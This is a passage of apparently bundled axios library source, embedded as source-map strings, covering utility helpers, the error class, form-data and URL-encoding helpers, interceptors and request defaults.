if (typeof globalThis !== \"undefined\") return globalThis;\n return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const {caseless} = isContextDefined(this) && this || {};\n const result = {};\n const assignValue = (val, key) => {\n const targetKey = caseless && findKey(result, key) || key;\n if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n result[targetKey] = merge(result[targetKey], val);\n } else if (isPlainObject(val)) {\n result[targetKey] = merge({}, val);\n } else if (isArray(val)) {\n result[targetKey] = val.slice();\n } else {\n result[targetKey] = val;\n }\n }\n\n for (let i = 0, l = arguments.length; i < l; i++) {\n arguments[i] && forEach(arguments[i], assignValue);\n }\n return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n forEach(b, (val, key) => {\n if (thisArg && isFunction(val)) {\n a[key] = bind(val, thisArg);\n } else {\n a[key] = val;\n }\n }, {allOwnKeys});\n return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n if (content.charCodeAt(0) === 0xFEFF) {\n content = content.slice(1);\n }\n return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n constructor.prototype.constructor = constructor;\n Object.defineProperty(constructor, 'super', {\n value: superConstructor.prototype\n });\n props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n let props;\n let i;\n let prop;\n const merged = {};\n\n destObj = destObj || {};\n // eslint-disable-next-line no-eq-null,eqeqeq\n if (sourceObj == null) return destObj;\n\n do {\n props = Object.getOwnPropertyNames(sourceObj);\n i = props.length;\n while (i-- > 0) {\n prop = props[i];\n if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n destObj[prop] = sourceObj[prop];\n merged[prop] = true;\n }\n }\n sourceObj = filter !== false && getPrototypeOf(sourceObj);\n } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n str = String(str);\n if (position === undefined || position > str.length) {\n position = str.length;\n }\n position -= searchString.length;\n const lastIndex = str.indexOf(searchString, position);\n return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n if (!thing) return null;\n if (isArray(thing)) return thing;\n let i = thing.length;\n if (!isNumber(i)) return null;\n const arr = new Array(i);\n while (i-- > 0) {\n arr[i] = thing[i];\n }\n return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n // eslint-disable-next-line func-names\n return thing => {\n return TypedArray && thing instanceof TypedArray;\n };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n const generator = obj && obj[iterator];\n\n const _iterator = generator.call(obj);\n\n let result;\n\n while ((result = _iterator.next()) && !result.done) {\n const pair = result.value;\n fn.call(obj, pair[0], pair[1]);\n }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n let matches;\n const arr = [];\n\n while ((matches = regExp.exec(str)) !== null) {\n arr.push(matches);\n }\n\n return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n function replacer(m, p1, p2) {\n return p1.toUpperCase() + p2;\n }\n );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n const descriptors = Object.getOwnPropertyDescriptors(obj);\n const reducedDescriptors = {};\n\n forEach(descriptors, (descriptor, name) => {\n let ret;\n if ((ret = reducer(descriptor, name, obj)) !== false) {\n reducedDescriptors[name] = ret || descriptor;\n }\n });\n\n Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n reduceDescriptors(obj, (descriptor, name) => {\n // skip restricted props in strict mode\n if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n return false;\n }\n\n const value = obj[name];\n\n if (!isFunction(value)) return;\n\n descriptor.enumerable = false;\n\n if ('writable' in descriptor) {\n descriptor.writable = false;\n return;\n }\n\n if (!descriptor.set) {\n descriptor.set = () => {\n throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n };\n }\n });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n const obj = {};\n\n const define = (arr) => {\n arr.forEach(value => {\n obj[value] = true;\n });\n }\n\n isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n return !!(thing && isFunction(thing.append) && thing[toStringTag] === 'FormData' && thing[iterator]);\n}\n\nconst toJSONObject = (obj) => {\n const stack = new Array(10);\n\n const visit = (source, i) => {\n\n if (isObject(source)) {\n if (stack.indexOf(source) >= 0) {\n return;\n }\n\n if(!('toJSON' in source)) {\n stack[i] = source;\n const target = isArray(source) ? [] : {};\n\n forEach(source, (value, key) => {\n const reducedValue = visit(value, i + 1);\n !isUndefined(reducedValue) && (target[key] = reducedValue);\n });\n\n stack[i] = undefined;\n\n return target;\n }\n }\n\n return source;\n }\n\n return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\n// original code\n// https://github.com/DigitalBrainJS/AxiosPromise/blob/16deab13710ec09779922131f3fa5954320f83ab/lib/utils.js#L11-L34\n\nconst _setImmediate = ((setImmediateSupported, postMessageSupported) => {\n if (setImmediateSupported) {\n return setImmediate;\n }\n\n return postMessageSupported ? ((token, callbacks) => {\n _global.addEventListener(\"message\", ({source, data}) => {\n if (source === _global && data === token) {\n callbacks.length && callbacks.shift()();\n }\n }, false);\n\n return (cb) => {\n callbacks.push(cb);\n _global.postMessage(token, \"*\");\n }\n })(`axios@${Math.random()}`, []) : (cb) => setTimeout(cb);\n})(\n typeof setImmediate === 'function',\n isFunction(_global.postMessage)\n);\n\nconst asap = typeof queueMicrotask !== 'undefined' ?\n queueMicrotask.bind(_global) : ( typeof process !== 'undefined' && process.nextTick || _setImmediate);\n\n// *********************\n\n\nconst isIterable = (thing) => thing != null && isFunction(thing[iterator]);\n\n\nexport default {\n isArray,\n isArrayBuffer,\n isBuffer,\n isFormData,\n isArrayBufferView,\n isString,\n isNumber,\n isBoolean,\n isObject,\n isPlainObject,\n isReadableStream,\n isRequest,\n isResponse,\n isHeaders,\n isUndefined,\n isDate,\n isFile,\n isBlob,\n isRegExp,\n isFunction,\n isStream,\n isURLSearchParams,\n isTypedArray,\n isFileList,\n forEach,\n merge,\n extend,\n trim,\n stripBOM,\n inherits,\n toFlatObject,\n kindOf,\n kindOfTest,\n endsWith,\n toArray,\n forEachEntry,\n matchAll,\n isHTMLForm,\n hasOwnProperty,\n hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n reduceDescriptors,\n freezeMethods,\n toObjectSet,\n toCamelCase,\n noop,\n toFiniteNumber,\n findKey,\n global: _global,\n isContextDefined,\n isSpecCompliantForm,\n toJSONObject,\n isAsyncFn,\n isThenable,\n setImmediate: _setImmediate,\n asap,\n isIterable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n Error.call(this);\n\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, this.constructor);\n } else {\n this.stack = (new Error()).stack;\n }\n\n this.message = message;\n this.name = 'AxiosError';\n code && (this.code = code);\n config && (this.config = config);\n request && (this.request = request);\n if (response) {\n this.response = response;\n this.status = response.status ? response.status : null;\n }\n}\n\nutils.inherits(AxiosError, Error, {\n toJSON: function toJSON() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: utils.toJSONObject(this.config),\n code: this.code,\n status: this.status\n };\n }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n 'ERR_BAD_OPTION_VALUE',\n 'ERR_BAD_OPTION',\n 'ECONNABORTED',\n 'ETIMEDOUT',\n 'ERR_NETWORK',\n 'ERR_FR_TOO_MANY_REDIRECTS',\n 'ERR_DEPRECATED',\n 'ERR_BAD_RESPONSE',\n 'ERR_BAD_REQUEST',\n 'ERR_CANCELED',\n 'ERR_NOT_SUPPORT',\n 'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n const axiosError = Object.create(prototype);\n\n utils.toFlatObject(error, axiosError, function filter(obj) {\n return obj !== Error.prototype;\n }, prop => {\n return prop !== 'isAxiosError';\n });\n\n AxiosError.call(axiosError, error.message, code, config, request, response);\n\n axiosError.cause = error;\n\n axiosError.name = error.name;\n\n customProps && Object.assign(axiosError, customProps);\n\n return axiosError;\n};\n\nexport default AxiosError;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n if (!path) return key;\n return path.concat(key).map(function each(token, i) {\n // eslint-disable-next-line no-param-reassign\n token = removeBrackets(token);\n return !dots && i ? '[' + token + ']' : token;\n }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n if (!utils.isObject(obj)) {\n throw new TypeError('target must be an object');\n }\n\n // eslint-disable-next-line no-param-reassign\n formData = formData || new (PlatformFormData || FormData)();\n\n // eslint-disable-next-line no-param-reassign\n options = utils.toFlatObject(options, {\n metaTokens: true,\n dots: false,\n indexes: false\n }, false, function defined(option, source) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n return !utils.isUndefined(source[option]);\n });\n\n const metaTokens = options.metaTokens;\n // eslint-disable-next-line no-use-before-define\n const visitor = options.visitor || defaultVisitor;\n const dots = options.dots;\n const indexes = options.indexes;\n const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n if (!utils.isFunction(visitor)) {\n throw new TypeError('visitor must be a function');\n }\n\n function convertValue(value) {\n if (value === null) return '';\n\n if (utils.isDate(value)) {\n return value.toISOString();\n }\n\n if (utils.isBoolean(value)) {\n return value.toString();\n }\n\n if (!useBlob && utils.isBlob(value)) {\n throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n }\n\n if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n }\n\n return value;\n }\n\n /**\n * Default visitor.\n *\n * @param {*} value\n * @param {String|Number} key\n * @param {Array<String|Number>} path\n * @this {FormData}\n *\n * @returns {boolean} return true to visit the each prop of the value recursively\n */\n function defaultVisitor(value, key, path) {\n let arr = value;\n\n if (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n } else if (\n (utils.isArray(value) && isFlatArray(value)) ||\n ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n )) {\n // eslint-disable-next-line no-param-reassign\n key = removeBrackets(key);\n\n arr.forEach(function each(el, index) {\n !(utils.isUndefined(el) || el === null) && formData.append(\n // eslint-disable-next-line no-nested-ternary\n indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n convertValue(el)\n );\n });\n return false;\n }\n }\n\n if (isVisitable(value)) {\n return true;\n }\n\n formData.append(renderKey(path, key, dots), convertValue(value));\n\n return false;\n }\n\n const stack = [];\n\n const exposedHelpers = Object.assign(predicates, {\n defaultVisitor,\n convertValue,\n isVisitable\n });\n\n function build(value, path) {\n if (utils.isUndefined(value)) return;\n\n if (stack.indexOf(value) !== -1) {\n throw Error('Circular reference detected in ' + path.join('.'));\n }\n\n stack.push(value);\n\n utils.forEach(value, function each(el, key) {\n const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n );\n\n if (result === true) {\n build(el, path ? path.concat(key) : [key]);\n }\n });\n\n stack.pop();\n }\n\n if (!utils.isObject(obj)) {\n throw new TypeError('data must be an object');\n }\n\n build(obj);\n\n return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n const charMap = {\n '!': '%21',\n \"'\": '%27',\n '(': '%28',\n ')': '%29',\n '~': '%7E',\n '%20': '+',\n '%00': '\\x00'\n };\n return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n this._pairs = [];\n\n params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n const _encode = encoder ? function(value) {\n return encoder.call(this, value, encode);\n } : encode;\n\n return this._pairs.map(function each(pair) {\n return _encode(pair[0]) + '=' + _encode(pair[1]);\n }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n return encodeURIComponent(val).\n replace(/%3A/gi, ':').\n replace(/%24/g, '$').\n replace(/%2C/gi, ',').\n replace(/%20/g, '+').\n replace(/%5B/gi, '[').\n replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?(object|Function)} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n /*eslint no-param-reassign:0*/\n if (!params) {\n return url;\n }\n \n const _encode = options && options.encode || encode;\n\n if (utils.isFunction(options)) {\n options = {\n serialize: options\n };\n } \n\n const serializeFn = options && options.serialize;\n\n let serializedParams;\n\n if (serializeFn) {\n serializedParams = serializeFn(params, options);\n } else {\n serializedParams = utils.isURLSearchParams(params) ?\n params.toString() :\n new AxiosURLSearchParams(params, options).toString(_encode);\n }\n\n if (serializedParams) {\n const hashmarkIndex = url.indexOf(\"#\");\n\n if (hashmarkIndex !== -1) {\n url = url.slice(0, hashmarkIndex);\n }\n url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n }\n\n return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n constructor() {\n this.handlers = [];\n }\n\n /**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\n use(fulfilled, rejected, options) {\n this.handlers.push({\n fulfilled,\n rejected,\n synchronous: options ? options.synchronous : false,\n runWhen: options ? options.runWhen : null\n });\n return this.handlers.length - 1;\n }\n\n /**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n *\n * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n */\n eject(id) {\n if (this.handlers[id]) {\n this.handlers[id] = null;\n }\n }\n\n /**\n * Clear all interceptors from the stack\n *\n * @returns {void}\n */\n clear() {\n if (this.handlers) {\n this.handlers = [];\n }\n }\n\n /**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n *\n * @returns {void}\n */\n forEach(fn) {\n utils.forEach(this.handlers, function forEachHandler(h) {\n if (h !== null) {\n fn(h);\n }\n });\n }\n}\n\nexport default InterceptorManager;\n","'use strict';\n\nexport default {\n silentJSONParsing: true,\n forcedJSONParsing: true,\n clarifyTimeoutError: false\n};\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n isBrowser: true,\n classes: {\n URLSearchParams,\n FormData,\n Blob\n },\n protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\nconst _navigator = typeof navigator === 'object' && navigator || undefined;\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n * typeof window -> undefined\n * typeof document -> undefined\n *\n * react-native:\n * navigator.product -> 'ReactNative'\n * nativescript\n * navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = hasBrowserEnv &&\n (!_navigator || ['ReactNative', 'NativeScript', 'NS'].indexOf(_navigator.product) < 0);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n return (\n typeof WorkerGlobalScope !== 'undefined' &&\n // eslint-disable-next-line no-undef\n self instanceof WorkerGlobalScope &&\n typeof self.importScripts === 'function'\n );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n hasBrowserEnv,\n hasStandardBrowserWebWorkerEnv,\n hasStandardBrowserEnv,\n _navigator as navigator,\n origin\n}\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n ...utils,\n ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n // foo[x][y][z]\n // foo.x.y.z\n // foo-x-y-z\n // foo x y z\n return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n return match[0] === '[]' ? '' : match[1] || match[0];\n });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n const obj = {};\n const keys = Object.keys(arr);\n let i;\n const len = keys.length;\n let key;\n for (i = 0; i < len; i++) {\n key = keys[i];\n obj[key] = arr[key];\n }\n return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n function buildPath(path, value, target, index) {\n let name = path[index++];\n\n if (name === '__proto__') return true;\n\n const isNumericKey = Number.isFinite(+name);\n const isLast = index >= path.length;\n name = !name && utils.isArray(target) ? target.length : name;\n\n if (isLast) {\n if (utils.hasOwnProp(target, name)) {\n target[name] = [target[name], value];\n } else {\n target[name] = value;\n }\n\n return !isNumericKey;\n }\n\n if (!target[name] || !utils.isObject(target[name])) {\n target[name] = [];\n }\n\n const result = buildPath(path, value, target[name], index);\n\n if (result && utils.isArray(target[name])) {\n target[name] = arrayToObject(target[name]);\n }\n\n return !isNumericKey;\n }\n\n if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n const obj = {};\n\n utils.forEachEntry(formData, (name, value) => {\n buildPath(parsePropPath(name), value, obj, 0);\n });\n\n return obj;\n }\n\n return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n if (utils.isString(rawValue)) {\n try {\n (parser || JSON.parse)(rawValue);\n return utils.trim(rawValue);\n } catch (e) {\n if (e.name !== 'SyntaxError') {\n throw e;\n }\n }\n }\n\n return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n transitional: transitionalDefaults,\n\n adapter: ['xhr', 'http', 'fetch'],\n\n transformRequest: [function transformRequest(data, headers) {\n const contentType = headers.getContentType() || '';\n const hasJSONContentType = contentType.indexOf('application/json') > -1;\n const isObjectPayload = utils.isObject(data);\n\n if (isObjectPayload && utils.isHTMLForm(data)) {\n data = new FormData(data);\n }\n\n const isFormData = utils.isFormData(data);\n\n if (isFormData) {\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n }\n\n if (utils.isArrayBuffer(data) ||\n utils.isBuffer(data) ||\n utils.isStream(data) ||\n utils.isFile(data) ||\n utils.isBlob(data) ||\n utils.isReadableStream(data)\n ) {\n return data;\n }\n if (utils.isArrayBufferView(data)) {\n return data.buffer;\n }\n if (utils.isURLSearchParams(data)) {\n headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n return data.toString();\n }\n\n let isFileList;\n\n if (isObjectPayload) {\n if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n return toURLEncodedForm(data, this.formSerializer).toString();\n }\n\n if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n const _FormData = this.env && this.env.FormData;\n\n return toFormData(\n isFileList ? {'files[]': data} : data,\n _FormData && new _FormData(),\n this.formSerializer\n );\n }\n }\n\n if (isObjectPayload || hasJSONContentType ) {\n headers.setContentType('application/json', false);\n return stringifySafely(data);\n }\n\n return data;\n }],\n\n transformResponse: [function transformResponse(data) {\n const transitional = this.transitional || defaults.transitional;\n const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n const JSONRequested = this.responseType === 'json';\n\n if (utils.isResponse(data) || utils.isReadableStream(data)) {\n return data;\n }\n\n if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n const silentJSONParsing = transitional && transitional.silentJSONParsing;\n const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n try {\n return JSON.parse(data);\n } catch (e) {\n if (strictJSONParsing) {\n if (e.name === 'SyntaxError') {\n throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n }\n throw e;\n }\n }\n }\n\n return data;\n }],\n\n /**\n * A timeout in milliseconds to abort a request. If set to 0 (default) a\n * timeout is not created.\n */\n timeout: 0,\n\n xsrfCookieName: 'XSRF-TOKEN',\n xsrfHeaderName: 'X-XSRF-TOKEN',\n\n maxContentLength: -1,\n maxBodyLength: -1,\n\n env: {\n FormData: platform.classes.FormData,\n Blob: platform.classes.Blob\n },\n\n validateStatus: function validateStatus(status) {\n return status >= 200 && status < 300;\n },\n\n headers: {\n common: {\n 'Accept': 'application/json, text/plain, */*',\n 'Content-Type': undefined\n }\n }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n visitor: function(value, key, path, helpers) {\n if (platform.isNode && utils.isBuffer(value)) {\n this.append(key, value.toString('base64'));\n return false;\n }\n\n return helpers.defaultVisitor.apply(this, arguments);\n }\n }, options));\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. 